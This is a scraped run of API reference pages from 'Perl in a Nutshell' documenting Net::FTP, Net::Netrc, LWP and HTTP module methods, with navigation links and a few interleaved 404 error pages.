Transfers a file between two remote servers. Arguments are:

file1

The file to transfer from the server represented by the Net::FTP object.

server

Destination server.

file2

New name of the file on the destination server. If omitted, the original name is used.

Previous: Reference: pasv_wait | Perl in a Nutshell | Next: Reference: pasv_xfer_unique
Reference: pasv_wait | Book Index | Reference: pasv_xfer_unique


Reference: pasv_xfer_unique

Perl in a Nutshell

Perl in a NutshellSearch this book

pasv_xfer_unique

 $ftp->pasv_xfer_unique(file1, server[, file2])

Like pasv_xfer, but stores the file on the remote server with a new (unique) name.

Previous: Reference: pasv_xfer | Perl in a Nutshell | Next: Reference: port
Reference: pasv_xfer | Book Index | Reference: port


Reference: port

Perl in a Nutshell

Perl in a NutshellSearch this book

port

 $ftp->port([port])

Sends a PORT command telling the server to use port port. With no argument, a socket is created and its information is sent.

Previous: Reference: pasv_xfer_unique | Perl in a Nutshell | Next: Reference: put
Reference: pasv_xfer_unique | Book Index | Reference: put


Reference: put

Perl in a Nutshell

Perl in a NutshellSearch this book

put

 $ftp->put(local[, remote])

Puts a file onto the server. Arguments are:

local

The name of the file to transfer from the local system, or a filehandle.

remote

The new filename on the remote system. If omitted, the same filename is used. If local is a filehandle, the remote filename must be specified.

Previous: Reference: port | Perl in a Nutshell | Next: Reference: put_unique
Reference: port | Book Index | Reference: put_unique


Reference: put_unique

Perl in a Nutshell

Perl in a NutshellSearch this book

put_unique

 $ftp->put_unique(local[, remote])

Puts a file with a unique name onto the server. Arguments are:

local

The name of the file to transfer from the local system, or a filehandle.

remote

The new filename on the remote system. If a file exists by that name, a new unique filename is created.

Previous: Reference: put | Perl in a Nutshell | Next: Reference: pwd
Reference: put | Book Index | Reference: pwd


Reference: pwd

Perl in a Nutshell

Perl in a NutshellSearch this book

pwd

 $ftp->pwd()

Returns the current directory path.

Previous: Reference: put_unique | Perl in a Nutshell | Next: Reference: quit
Reference: put_unique | Book Index | Reference: quit


Reference: quit

Perl in a Nutshell

Perl in a NutshellSearch this book

quit

 $ftp->quit()

Closes the connection.

Previous: Reference: pwd | Perl in a Nutshell | Next: Reference: quot
Reference: pwd | Book Index | Reference: quot


Reference: quot

Perl in a Nutshell

Perl in a NutshellSearch this book

quot

 $ftp->quot(cmd[, args])

Sends a literal FTP protocol command to the server and waits for a response. Returns the most significant digit of the response code.

Previous: Reference: quit | Perl in a Nutshell | Next: Reference: rename
Reference: quit | Book Index | Reference: rename


Reference: rename

Perl in a Nutshell

Perl in a NutshellSearch this book

rename

 $ftp->rename(file1, file2)

Renames a file on the server. Arguments are:

file1

The old name of the file.

file2

The new name of the file.

Previous: Reference: quot | Perl in a Nutshell | Next: Reference: retr
Reference: quot | Book Index | Reference: retr


Reference: retr

Perl in a Nutshell

Perl in a NutshellSearch this book

retr

 $ftp->retr(file)

Retrieves file file from the remote server. If the user calls either pasv or port, returns true or false. Otherwise, returns a reference to a Net::FTP::dataconn object.

Previous: Reference: rename | Perl in a Nutshell | Next: Reference: rmdir
Reference: rename | Book Index | Reference: rmdir


Reference: rmdir

Perl in a Nutshell

Perl in a NutshellSearch this book

rmdir

 $ftp->rmdir(dir)

Removes directory dir.

Previous: Reference: retr | Perl in a Nutshell | Next: Reference: size
Reference: retr | Book Index | Reference: size


Reference: size

Perl in a Nutshell

Perl in a NutshellSearch this book

size

 $ftp->size(file)

Returns the size of file file in bytes.

Previous: Reference: rmdir | Perl in a Nutshell | Next: Reference: stor
Reference: rmdir | Book Index | Reference: stor


Reference: stor

Perl in a Nutshell

Perl in a NutshellSearch this book

stor

 $ftp->stor(file)

Tells the server to store a new file under the name file. If the user calls either pasv or port, returns true or false. Otherwise, returns a reference to a Net::FTP::dataconn object.

Previous: Reference: size | Perl in a Nutshell | Next: Reference: stou
Reference: size | Book Index | Reference: stou


Reference: stou

Perl in a Nutshell

Perl in a NutshellSearch this book

stou

 $ftp->stou(file)

Like stor, but stores file on the remote server with a unique name, file. If the user calls either pasv or port, returns true or false. Otherwise, returns a reference to a Net::FTP::dataconn object.

Previous: Reference: stor | Perl in a Nutshell | Next: Reference: supported
Reference: stor | Book Index | Reference: supported


Reference: supported

Perl in a Nutshell

Perl in a NutshellSearch this book

supported

 $ftp->supported(cmd)

Returns true if the server supports the command cmd.

Previous: Reference: stou | Perl in a Nutshell | Next: Reference: type
Reference: stou | Book Index | Reference: type


Reference: type

Perl in a Nutshell

Perl in a NutshellSearch this book

type

 $ftp->type(type[, args])

Changes the type of data transfer. Possible types are ascii, ebcdic, byte, and binary. The value of args depends on the type.

Previous: Reference: supported | Perl in a Nutshell | Next: Reference: unique_name
Reference: supported | Book Index | Reference: unique_name


Reference: unique_name

Perl in a Nutshell

Perl in a NutshellSearch this book

unique_name

 $ftp->unique_name()

Returns the name of the last file stored with a unique name.

Previous: Reference: type | Perl in a Nutshell | Next: 16.2 Net::FTP
Reference: type | Book Index | 16.2 Net::FTP


Reference: lookup

Perl in a Nutshell

Perl in a NutshellSearch this book

lookup

 $machine = Net::Netrc->lookup(host[, login])

Constructor. Looks up and returns a reference to the entry for the specified host machine, host. Without the optional login argument, lookup returns the first entry in the .netrc file for the machine.

If there is no matching entry, lookup returns a reference to the default entry.

Previous: 16.3 FTP Configuration with Net::Netrc | Perl in a Nutshell | Next: Reference: account
16.3 FTP Configuration with Net::Netrc | Book Index | Reference: account


Reference: account

Perl in a Nutshell

Perl in a NutshellSearch this book

account

 $machine->account

Returns account information specified by the .netrc account entry, if there is any.

Previous: Reference: lookup | Perl in a Nutshell | Next: Reference: lpa
Reference: lookup | Book Index | Reference: lpa


Reference: lpa

Perl in a Nutshell

Perl in a NutshellSearch this book

lpa

 (@login_pass_account) = $machine->lpa

Returns a list of login, password, and account information specified by the .netrc tokens.

Previous: Reference: account | Perl in a Nutshell | Next: Reference: login
Reference: account | Book Index | Reference: login


Reference: login

Perl in a Nutshell

Perl in a NutshellSearch this book

login

 $machine->login

Returns the username (login id) specified by the .netrc login token.

Previous: Reference: lpa | Perl in a Nutshell | Next: Reference: password
Reference: lpa | Book Index | Reference: password


Reference: password

Perl in a Nutshell

Perl in a NutshellSearch this book

password

 $machine->password

Returns the password specified by the .netrc password token.

Previous: Reference: login | Perl in a Nutshell | Next: 16. FTP
Reference: login | Book Index | 16. FTP


Reference: as_string

Perl in a Nutshell

Perl in a NutshellSearch this book

as_string

 $rob->as_string( )

Returns a human-readable string that describes the robot's status.

Previous: 17.2 The LWP Modules | Perl in a Nutshell | Next: Reference: delay
17.2 The LWP Modules | Book Index | Reference: delay


Reference: delay

Perl in a Nutshell

Perl in a NutshellSearch this book

delay

 $rob->delay ([time])

Sets or returns the specified time (in minutes) to wait between requests. The default value is 1.

Previous: Reference: as_string | Perl in a Nutshell | Next: Reference: host_wait
Reference: as_string | Book Index | Reference: host_wait


Reference: host_wait

Perl in a Nutshell

Perl in a NutshellSearch this book

host_wait

 $rob->host_wait(netloc)

Returns the number of seconds the robot must wait before it can request another resource from the server identified by netloc.

Previous: Reference: delay | Perl in a Nutshell | Next: Reference: no_visits
Reference: delay | Book Index | Reference: no_visits


Reference: no_visits

Perl in a Nutshell

Perl in a NutshellSearch this book

no_visits

 $rob->no_visits(netloc)

Returns the number of visits to a given server. netloc is of the form user:password@host:port. The user, password, and port are optional.

Previous: Reference: host_wait | Perl in a Nutshell | Next: Reference: rules
Reference: host_wait | Book Index | Reference: rules


Reference: rules

Perl in a Nutshell

Perl in a NutshellSearch this book

rules

 $rob->rules([$rules])

Sets or returns the WWW:RobotRules object $rules to be used when determining if the module is allowed access to a particular resource.

Previous: Reference: no_visits | Perl in a Nutshell | Next: 17.2 The LWP Modules
Reference: no_visits | Book Index | 17.2 The LWP Modules


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_006.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: getprint

Perl in a Nutshell

Perl in a NutshellSearch this book

getprint

getprint (url)

Prints the contents of the url on standard output and returns the HTTP status code given by the server.

Previous: Reference: get | Perl in a Nutshell | Next: Reference: getstore
Reference: get | Book Index | Reference: getstore


Reference: getstore

Perl in a Nutshell

Perl in a NutshellSearch this book

getstore

getstore (url, file)

Stores the contents of the specified url into file and returns the HTTP status code given by the server.

Previous: Reference: getprint | Perl in a Nutshell | Next: Reference: head
Reference: getprint | Book Index | Reference: head


Reference: head

Perl in a Nutshell

Perl in a NutshellSearch this book

head

head (url)

Returns header information about the specified url in the form of: ($content_type, $document_length, $modified_time, $expires, $server). Upon failure, head returns an empty list.

Previous: Reference: getstore | Perl in a Nutshell | Next: Reference: is_error
Reference: getstore | Book Index | Reference: is_error


Reference: is_error

Perl in a Nutshell

Perl in a NutshellSearch this book

is_error

is_error (code)

Given a status code from getprint, getstore, or mirror, returns true if the request was not successful.

Previous: Reference: head | Perl in a Nutshell | Next: Reference: is_success
Reference: head | Book Index | Reference: is_success


Reference: is_success

Perl in a Nutshell

Perl in a NutshellSearch this book

is_success

is_success (code)

Given a status code from getprint, getstore, or mirror, returns true if the request was successful.

Previous: Reference: is_error | Perl in a Nutshell | Next: Reference: mirror
Reference: is_error | Book Index | Reference: mirror


Reference: mirror

Perl in a Nutshell

Perl in a NutshellSearch this book

mirror

mirror (url, file)

Copies the contents of the specified url into file, when the modification time or length of the online version is different from that of the named file.

Previous: Reference: is_success | Perl in a Nutshell | Next: 17.2 The LWP Modules
Reference: is_success | Book Index | 17.2 The LWP Modules


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_013.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: agent

Perl in a Nutshell

Perl in a NutshellSearch this book

agent

 $ua->agent([string])

When invoked with no arguments, this method returns the current value of the identifier used in the User-Agent HTTP header. If invoked with an argument, the User-Agent header will use string as its identifier in the future.

Previous: Reference: request | Perl in a Nutshell | Next: Reference: clone
Reference: request | Book Index | Reference: clone


Reference: clone

Perl in a Nutshell

Perl in a NutshellSearch this book

clone

 $ua->clone()

Returns a copy of the LWP::UserAgent object.

Previous: Reference: agent | Perl in a Nutshell | Next: Reference: cookie_jar
Reference: agent | Book Index | Reference: cookie_jar


Reference: cookie_jar

Perl in a Nutshell

Perl in a NutshellSearch this book

cookie_jar

 $ua->cookie_jar([$cjar])

Specifies the "cookie jar" object to use with the UserAgent object, or returns it if invoked with no argument. $cjar is a reference to an HTTP::Cookies object that contains client cookie data. See the HTTP::Cookies section for more information.

Previous: Reference: clone | Perl in a Nutshell | Next: Reference: credentials
Reference: clone | Book Index | Reference: credentials


Reference: credentials

Perl in a Nutshell

Perl in a NutshellSearch this book

credentials

 $ua->credentials(netloc, realm, uname, pass)

Uses the given username and password for authentication at the given network location and realm. This method sets the parameters for either the WWW-Authenticate or Proxy-Authenticate headers in a request. The get_basic_credentials method is called by request to retrieve the username and passwords, if they exist. The arguments are: .S1 Arguments

netloc

The network location (usually a URL string) to which the username and password apply.

realm

The name of the server-defined range of URLs that this data applies to.

uname

The username for authentication.

pass

The password for authentication. By default, the password will be transmitted with MIME base-64 encoding.

Previous: Reference: cookie_jar | Perl in a Nutshell | Next: Reference: env_proxy
Reference: cookie_jar | Book Index | Reference: env_proxy


Reference: env_proxy

Perl in a Nutshell

Perl in a NutshellSearch this book

env_proxy

 $ua->env_proxy()

Defines a scheme/proxy URL mapping by looking at environment variables. For example, to define the HTTP proxy, one would define the HTTP_PROXY environment variable with the proxy's URL. To define a domain to avoid the proxy, one would define the NO_PROXY environment variable with the domain that doesn't need a proxy.

Previous: Reference: credentials | Perl in a Nutshell | Next: Reference: from
Reference: credentials | Book Index | Reference: from


Reference: from

Perl in a Nutshell

Perl in a NutshellSearch this book

from

 $ua->from([email])

When invoked with no arguments, this method returns the current value of the email address used in the From header. If invoked with an argument, the From header will use that email address in the future. (The From header tells the web server the email address of the person running the client software.)

Previous: Reference: env_proxy | Perl in a Nutshell | Next: Reference: get_basic_credentials
Reference: env_proxy | Book Index | Reference: get_basic_credentials


Reference: get_basic_credentials

Perl in a Nutshell

Perl in a NutshellSearch this book

get_basic_credentials

 $ua->get_basic_credentials(realm, url)

Returns the list containing the username and password for the given realm and url when authentication is required by the server. This function is usually called internally by request. This method becomes useful when creating a subclass of LWP::UserAgent with its own version of get_basic_credentials. From there, you can rewrite get_basic_credentials to do more flexible things, like asking the user for the account information, or referring to authentication information in a file. All you need to do is return a list, where the first element is a username and the second element is a password.

Previous: Reference: from | Perl in a Nutshell | Next: Reference: is_protocol_supported
Reference: from | Book Index | Reference: is_protocol_supported


Reference: is_protocol_supported

Perl in a Nutshell

Perl in a NutshellSearch this book

is_protocol_supported

 $ua->is_protocol_supported(proto)

Given a scheme, this method returns a true or false (nonzero or zero) value. A true value means that LWP knows how to handle a URL with the specified protocol. If it returns a false value, LWP does not know how to handle the URL.

Previous: Reference: get_basic_credentials | Perl in a Nutshell | Next: Reference: max_size
Reference: get_basic_credentials | Book Index | Reference: max_size


Reference: max_size

Perl in a Nutshell

Perl in a NutshellSearch this book

max_size

 $ua->max_size([size])

Sets or returns the maximum size (in bytes) for response content. The default is undef, which means that there is no limit. If the returned content is partial because the size limit was exceeded, then an X-Content-Range header will be added to the response.

Previous: Reference: is_protocol_supported | Perl in a Nutshell | Next: Reference: mirror
Reference: is_protocol_supported | Book Index | Reference: mirror


Reference: mirror

Perl in a Nutshell

Perl in a NutshellSearch this book

mirror

 $ua->mirror(url, file)

Given a URL and file path, this method copies the contents of url into the file when the length or modification date headers are different from any previous retrieval. If the file does not exist, it is created. This method returns an HTTP::Response object, where the response code indicates what happened.

Previous: Reference: max_size | Perl in a Nutshell | Next: Reference: no_proxy
Reference: max_size | Book Index | Reference: no_proxy


Reference: no_proxy

Perl in a Nutshell

Perl in a NutshellSearch this book

no_proxy

 $ua->no_proxy(domains)

Do not use a proxy server for the specified domains.

Previous: Reference: mirror | Perl in a Nutshell | Next: Reference: parse_head
Reference: mirror | Book Index | Reference: parse_head


Reference: parse_head

Perl in a Nutshell

Perl in a NutshellSearch this book

parse_head

 $ua->parse_head([boolean])

Sets or returns a true or false value indicating whether response headers from the <head> sections of HTML documents are initialized. The default is true.

Previous: Reference: no_proxy | Perl in a Nutshell | Next: Reference: proxy
Reference: no_proxy | Book Index | Reference: proxy


Reference: proxy

Perl in a Nutshell

Perl in a NutshellSearch this book

proxy

 $ua->proxy(prot, proxy_url)

Defines a URL (proxy_url) to use with the specified protocols, prot. The first parameter can be a reference to a list of protocol names or a scalar that contains a single protocol. The second argument defines a proxy URL to use with the protocol.

Previous: Reference: parse_head | Perl in a Nutshell | Next: Reference: timeout
Reference: parse_head | Book Index | Reference: timeout


Reference: timeout

Perl in a Nutshell

Perl in a NutshellSearch this book

timeout

 $ua->timeout([secs])

When invoked with no arguments, timeout returns the timeout value of a request. By default, this value is three minutes. Therefore, if the client software doesn't hear back from the server within three minutes, it will stop the transaction and indicate that a timeout occurred in the HTTP response code. If invoked with an argument, the timeout value is redefined to be that value.

Previous: Reference: proxy | Perl in a Nutshell | Next: Reference: use_alarm
Reference: proxy | Book Index | Reference: use_alarm


Reference: use_alarm

Perl in a Nutshell

Perl in a NutshellSearch this book

use_alarm

 $ua->use_alarm([boolean])

Retrieves or defines the ability to use alarm for timeouts. By default, timeouts with alarm are enabled. If you plan on using alarm for your own purposes, or it isn't supported on your system, it is recommended that you disable alarm by calling this method with a value of zero.

Previous: Reference: timeout | Perl in a Nutshell | Next: 17.2 The LWP Modules
Reference: timeout | Book Index | 17.2 The LWP Modules


Reference: as_string

Perl in a Nutshell

Perl in a NutshellSearch this book

as_string

 $req->as_string

Returns a text version of the request object as a string with \n placed after each line. Information about the object reference is also included in the first line. The returned string looks like this example:

-- HTTP::Request=HASH(0x68148) --
PUT http://www.ora.com/example/hi.text
Content-Length: 2
Content-Type: text/plain
hi
------------------

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: Reference: method
17.3 The HTTP Modules | Book Index | Reference: method


Reference: method

Perl in a Nutshell

Perl in a NutshellSearch this book

method

 $req->method ([method])

Sets or retrieves the HTTP method for an HTTP::Request object. Without an argument, method returns the object's current method.

Previous: Reference: as_string | Perl in a Nutshell | Next: Reference: url
Reference: as_string | Book Index | Reference: url


Reference: url

Perl in a Nutshell

Perl in a NutshellSearch this book

url

 $req->url ([url])

Sets or retrieves the URL for the request object. Without an argument, this method retrieves the current URL for the object. url is a string containing the new URL to set for the request or a URI::URL object.

Previous: Reference: method | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: method | Book Index | 17.3 The HTTP Modules


Reference: as_string

Perl in a Nutshell

Perl in a NutshellSearch this book

as_string

 $resp->as_string()

Returns a string version of the response with lines separated by \n. For example, this method would return a response string that looks like this:

-- HTTP::Response=HASH(0xc8548) --
RC: 200 (OK)
Message: all is fine

Content-Length: 2
Content-Type: text/plain

hi
------------------

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: Reference: base
17.3 The HTTP Modules | Book Index | Reference: base


Reference: base

Perl in a Nutshell

Perl in a NutshellSearch this book

base

 $resp->base()

Returns the base URL of the response. If the response was hypertext, any links from the hypertext should be relative to the location returned by this method. LWP looks for the BASE tag in HTML and Content-Base/Content-Location HTTP headers for a base specification. If a base was not explicitly defined by the server, LWP uses the requesting URL as the base.

Previous: Reference: as_string | Perl in a Nutshell | Next: Reference: code
Reference: as_string | Book Index | Reference: code


Reference: code

Perl in a Nutshell

Perl in a NutshellSearch this book

code

 $resp->code ([code])

When invoked without any parameters, this method returns the object's response code. Sets the status code of the object when invoked with an argument.

Previous: Reference: base | Perl in a Nutshell | Next: Reference: current_age
Reference: base | Book Index | Reference: current_age


Reference: current_age

Perl in a Nutshell

Perl in a NutshellSearch this book

current_age

 $resp->current_age()

Returns the number of seconds since the response was generated by the original server.

Previous: Reference: code | Perl in a Nutshell | Next: Reference: error_as_HTML
Reference: code | Book Index | Reference: error_as_HTML


Reference: error_as_HTML

Perl in a Nutshell

Perl in a NutshellSearch this book

error_as_HTML

 $resp->error_as_HTML ()

When is_error is true, this method returns an HTML explanation of what happened.

Previous: Reference: current_age | Perl in a Nutshell | Next: Reference: freshness_lifetime
Reference: current_age | Book Index | Reference: freshness_lifetime


Reference: freshness_lifetime

Perl in a Nutshell

Perl in a NutshellSearch this book

freshness_lifetime

 $resp->freshness_lifetime()

Returns the number of seconds until the response expires. If expiration was not specified by the server, LWP will make an informed guess based on the Last-Modified header of the response.

Previous: Reference: error_as_HTML | Perl in a Nutshell | Next: Reference: fresh_until
Reference: error_as_HTML | Book Index | Reference: fresh_until


Reference: fresh_until

Perl in a Nutshell

Perl in a NutshellSearch this book

fresh_until

 $resp->fresh_until()

Returns the time when the response expires. The time is based on the number of seconds since January 1, 1970, UTC.

Previous: Reference: freshness_lifetime | Perl in a Nutshell | Next: Reference: is_error
Reference: freshness_lifetime | Book Index | Reference: is_error


Reference: is_error

Perl in a Nutshell

Perl in a NutshellSearch this book

is_error

 $resp->is_error()

Returns true when the response code is 400 through 599. When an error occurs, you might want to use error_as_HTML to generate an HTML explanation of the error.

Previous: Reference: fresh_until | Perl in a Nutshell | Next: Reference: is_fresh
Reference: fresh_until | Book Index | Reference: is_fresh


Reference: is_fresh

Perl in a Nutshell

Perl in a NutshellSearch this book

is_fresh

 $resp->is_fresh()

Returns true if the response has not yet expired.

Previous: Reference: is_error | Perl in a Nutshell | Next: Reference: is_info
Reference: is_error | Book Index | Reference: is_info


Reference: is_info

Perl in a Nutshell

Perl in a NutshellSearch this book

is_info

 $resp->is_info()

Returns true when the response code is 100 through 199.

Previous: Reference: is_fresh | Perl in a Nutshell | Next: Reference: is_redirect
Reference: is_fresh | Book Index | Reference: is_redirect


Reference: is_redirect

Perl in a Nutshell

Perl in a NutshellSearch this book

is_redirect

 $resp->is_redirect()

Returns true when the response code is 300 through 399.

Previous: Reference: is_info | Perl in a Nutshell | Next: Reference: is_success
Reference: is_info | Book Index | Reference: is_success


Reference: is_success

Perl in a Nutshell

Perl in a NutshellSearch this book

is_success

 $resp->is_success()

Returns true when the response code is 200 through 299.

Previous: Reference: is_redirect | Perl in a Nutshell | Next: Reference: message
Reference: is_redirect | Book Index | Reference: message


Reference: message

Perl in a Nutshell

Perl in a NutshellSearch this book

message

 $resp->message ([msg])

When invoked without any parameters, message returns the object's status code message - the short string describing the response code. When invoked with a scalar msg argument, this method defines the object's message.

Previous: Reference: is_success | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: is_success | Book Index | 17.3 The HTTP Modules


Reference: clone

Perl in a Nutshell

Perl in a NutshellSearch this book

clone

 $h->clone()

Creates a copy of the current object, $h, and returns a reference to it.

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: Reference: header
17.3 The HTTP Modules | Book Index | Reference: header


Reference: header

Perl in a Nutshell

Perl in a NutshellSearch this book

header

 $h->header(field [=> $val],...)

When called with just an HTTP header as a parameter, this method returns the current value for the header. For example, $myobject->('content-type') would return the value for the object's Content-Type header. To define a new header value, invoke header with a hash of header=>value pairs, where the value is a scalar or reference to an array. For example, to define the Content-Type header, you would do this:

$h->header('content-type' => 'text/plain');

Previous: Reference: clone | Perl in a Nutshell | Next: Reference: push_header
Reference: clone | Book Index | Reference: push_header


Reference: push_header

Perl in a Nutshell

Perl in a NutshellSearch this book

push_header

 $h->push_header(field => val)

Adds a new header field and value to the object. Previous values of the field are not removed.

$h->push_header(Accept => 'image/jpeg');

Previous: Reference: header | Perl in a Nutshell | Next: Reference: remove_header
Reference: header | Book Index | Reference: remove_header


Reference: remove_header

Perl in a Nutshell

Perl in a NutshellSearch this book

remove_header

 $h->remove_header(field,...)

Removes the header specified in the parameter(s) and the header's associated value.

Previous: Reference: push_header | Perl in a Nutshell | Next: Reference: scan
Reference: push_header | Book Index | Reference: scan


Reference: scan

Perl in a Nutshell

Perl in a NutshellSearch this book

scan

 $h->scan($sub)

Invokes the subroutine referenced by $sub for each header field in the object. The subroutine is passed the name of the header and its value as a pair of arguments. For header fields with more than one value, the subroutine will be called once for each value.

Previous: Reference: remove_header | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: remove_header | Book Index | 17.3 The HTTP Modules


Reference: time2str

Perl in a Nutshell

Perl in a NutshellSearch this book

time2str

 time2str([time])

Given the number of seconds since machine epoch, this function generates the equivalent time as specified in RFC 1123, which is the recommended time format used in HTTP. When invoked with no parameter, the current time is used.

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: Reference: str2time
17.3 The HTTP Modules | Book Index | Reference: str2time


Reference: str2time

Perl in a Nutshell

Perl in a NutshellSearch this book

str2time

 str2time(str [, zone])

Converts the time specified as a string in the first parameter into the number of seconds since epoch. This function recognizes a wide variety of formats, including RFC 1123 (standard HTTP), RFC 850, ANSI C asctime, common log file format, Unix ls -l, and Windows dir, among others. When a time zone is not implicit in the first parameter, this function will use an optional time zone specified as the second parameter, such as "-0800" or "+0500" or "GMT". If the second parameter is omitted and the time zone is ambiguous, the local time zone is used.

Previous: Reference: time2str | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: time2str | Book Index | 17.3 The HTTP Modules


Reference: add_cookie_header

Perl in a Nutshell

Perl in a NutshellSearch this book

add_cookie_header

 $cjar->add_cookie_header($request)

Adds appropriate Cookie headers to an HTTP::Request object $request. $request must already be created with a valid URL address. This method will search the cookie jar for any cookies matching the request URL. If the cookies are valid (i.e., have not expired) they are used to create Cookie headers and are added to the request.

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: Reference: as_string
17.3 The HTTP Modules | Book Index | Reference: as_string


Reference: as_string

Perl in a Nutshell

Perl in a NutshellSearch this book

as_string

 $cjar->as_string([discard])

Returns the current contents of the cookie jar as a string. Each cookie is output as a Set-Cookie3 header line followed by "0". If discard is given and is true, cookies marked to be discarded will not be output. Set-Cookie3 is a special LWP format used to store cookie information in the save file.

Previous: Reference: add_cookie_header | Perl in a Nutshell | Next: Reference: clear
Reference: add_cookie_header | Book Index | Reference: clear


Reference: clear

Perl in a Nutshell

Perl in a NutshellSearch this book

clear

 $cjar->clear( [domain, [path, [key] ] ])

Without arguments, this method clears the entire contents of the cookie jar. Given arguments, cookies belonging to a specific domain, path, or with a name, key, will be cleared. The arguments are ordered for increasing specificity. If only one argument is given, all cookies for that domain will be deleted. A second argument specifies a distinct path within the domain. To remove a cookie by keyname, you must use all three arguments.

Previous: Reference: as_string | Perl in a Nutshell | Next: Reference: extract_cookies
Reference: as_string | Book Index | Reference: extract_cookies


Reference: extract_cookies

Perl in a Nutshell

Perl in a NutshellSearch this book

extract_cookies

 $cjar->extract_cookies($response)

Searches an HTTP::Response object $response for any Set-Cookie and Set-Cookie2 headers and stores the cookie information in the cookie jar.

Previous: Reference: clear | Perl in a Nutshell | Next: Reference: load
Reference: clear | Book Index | Reference: load


Reference: load

Perl in a Nutshell

Perl in a NutshellSearch this book

load

 $cjar->load( [file] )

Loads cookie information into the cookie jar from the file specified during construction (default) or from the named file. The file must be in the format produced by the save method.

Previous: Reference: extract_cookies | Perl in a Nutshell | Next: Reference: revert
Reference: extract_cookies | Book Index | Reference: revert


Reference: revert

Perl in a Nutshell

Perl in a NutshellSearch this book

revert

 $cjar->revert

Restores the cookie jar to its state before the last save.

Previous: Reference: load | Perl in a Nutshell | Next: Reference: save
Reference: load | Book Index | Reference: save


Reference: save

Perl in a Nutshell

Perl in a NutshellSearch this book

save

 $cjar->save( [file] )

Saves the state of the cookie jar to the file specified during construction (by default) or to the named file. The cookies are saved in a special LWP format as Set-Cookie3 header lines. This format is not compatible with the standard Set-Cookie and Set-Cookie2 headers, but you are not likely to use this file to set new cookies in response headers.

Previous: Reference: revert | Perl in a Nutshell | Next: Reference: set_cookie
Reference: revert | Book Index | Reference: set_cookie


Reference: set_cookie

Perl in a Nutshell

Perl in a NutshellSearch this book

set_cookie

 $cjar->set_cookie(version, key, val, path, domain, port, path_spec, secure, maxages, discard, \%misc)

Sets a cookie in the cookie jar with the information given in the arguments. The number and order of arguments represent the structure of elements in the Set-Cookie3 header lines used to save the cookies in a file.

version

A string containing the cookie-spec version number.

key

The name of the cookie.

val

The value of the cookie.

path

The pathname of the URL for which the cookie is set.

domain

The domain name for which the cookie is set.

port

The port number of the URL for which the cookie is set.

path_spec

A Boolean value indicating if the cookie is valid for the specific URL path or all the URLs in the domain. The path is used if true; otherwise, the cookie is valid for the entire domain.

secure

A Boolean value indicating that the cookie should only be sent over a secure connection for true, or over any connection, if false.

maxage

The number of seconds that the cookie will be valid, from the time it was received. Adding the maxage to the current time will yield a value that can be used for an expiration date.

discard

A Boolean value indicating that the cookie should not be sent in any future requests and should be discarded upon saving the cookie jar, unless the ignore_discard parameter was set to true in the constructor.

%misc

The final argument is a reference to a hash, %misc, that contains any additional parameters from the Set-Cookie headers such as Comment and URLComment, in key/value pairs.

Previous: Reference: save | Perl in a Nutshell | Next: Reference: scan
Reference: save | Book Index | Reference: scan


Reference: scan

Perl in a Nutshell

Perl in a NutshellSearch this book

scan

 $cjar->scan( \&callback )

Invokes the callback subroutine for each cookie in the cookie jar. The subroutine is called with the same arguments that are given to the save method, described above. Any undefined arguments will be given the value undef.

Previous: Reference: set_cookie | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: set_cookie | Book Index | 17.3 The HTTP Modules


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_061.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: url

Perl in a Nutshell

Perl in a NutshellSearch this book

url

 $d->url

Returns the URL string that gives access to the server root.

Previous: Reference: accept | Perl in a Nutshell | Next: Reference: product_tokens
Reference: accept | Book Index | Reference: product_tokens


Reference: product_tokens

Perl in a Nutshell

Perl in a NutshellSearch this book

product_tokens

 $d->product_tokens

Returns the string that the server uses to identify itself in the Server response header.

Previous: Reference: url | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: url | Book Index | 17.3 The HTTP Modules


Reference: get_request

Perl in a Nutshell

Perl in a NutshellSearch this book

get_request

 $c->get_request

Reads information from the client request and returns a reference to an HTTP::Request object. Returns undef if the request failed.

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: Reference: antique_client
17.3 The HTTP Modules | Book Index | Reference: antique_client


Reference: antique_client

Perl in a Nutshell

Perl in a NutshellSearch this book

antique_client

 $c->antique_client

Returns true if the client uses the HTTP/0.9 protocol (i.e., no status code or headers should be returned).

Previous: Reference: get_request | Perl in a Nutshell | Next: Reference: send_status_line
Reference: get_request | Book Index | Reference: send_status_line


Reference: send_status_line

Perl in a Nutshell

Perl in a NutshellSearch this book

send_status_line

 $c->send_status_line ( [code, [msg, [proto]]] )

Sends the status line composed of the given arguments back to the client. If the arguments are given, the default status line is sent as HTTP/1.1 200 OK. The arguments are:

code

The numeric code indicating the status of the request, e.g., 200 for an OK request or 404 for a request for a resource that doesn't exist.

msg

A short string describing the status code.

proto

A string indicating the protocol and version number used by the server, e.g., HTTP/1.1.

Previous: Reference: antique_client | Perl in a Nutshell | Next: Reference: send_basic_header
Reference: antique_client | Book Index | Reference: send_basic_header


Reference: send_basic_header

Perl in a Nutshell

Perl in a NutshellSearch this book

send_basic_header

 $c->send_basic_header ( [code, [msg, [proto]]] )

Sends status line composed of the specified parameters and the Date and Server headers to the client. If no arguments are given, the default status line HTTP/1.1 200 OK is used.

Previous: Reference: send_status_line | Perl in a Nutshell | Next: Reference: send_response
Reference: send_status_line | Book Index | Reference: send_response


Reference: send_response

Perl in a Nutshell

Perl in a NutshellSearch this book

send_response

 $c->send_response ( [$resp | @resplist] )

Sends a response to the client created from the HTTP::Response object, $resp, or the list of parameters, @resplist. The resplist parameters are the same as those used in the constructor for HTTP::Response and must at least contain a status code. If no argument is given, the default OK response is sent.

